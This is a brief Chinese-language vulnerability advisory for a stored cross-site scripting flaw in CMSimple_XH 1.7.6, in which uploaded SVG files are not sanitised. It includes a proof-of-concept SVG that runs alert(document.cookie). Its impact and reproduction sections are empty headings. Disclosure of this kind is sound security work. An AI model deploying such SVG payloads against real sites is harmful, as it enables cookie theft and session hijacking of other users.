概述
在 CMSimple_XH 1.7.6 版本中发现了一个跨站脚本(XSS)漏洞。该漏洞允许授权用户上传包含恶意 JavaScript 代码的 SVG 文件。问题源于应用程序的文件上传功能对上传的 SVG 文件验证和清理不足。
漏洞详情
描述
该漏洞的存在是因为应用程序未能正确验证和清理用户上传的 SVG 文件。攻击者可以通过上传包含恶意 JavaScript 代码的特制 SVG 文件来利用此缺陷。当其他用户访问上传的 SVG 文件时,注入的 JavaScript 代码会在其浏览器中于 CMSimple_XH 应用程序的上下文中执行。这可能导致各种 XSS 攻击。
影响
成功利用此漏洞可使攻击者能够:
概念验证
一个触发显示文档 Cookie 的 alert 弹窗的恶意 SVG 代码示例:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>
复现步骤
截图

致谢: 此漏洞由 Suraj Theekshana 发现并报告。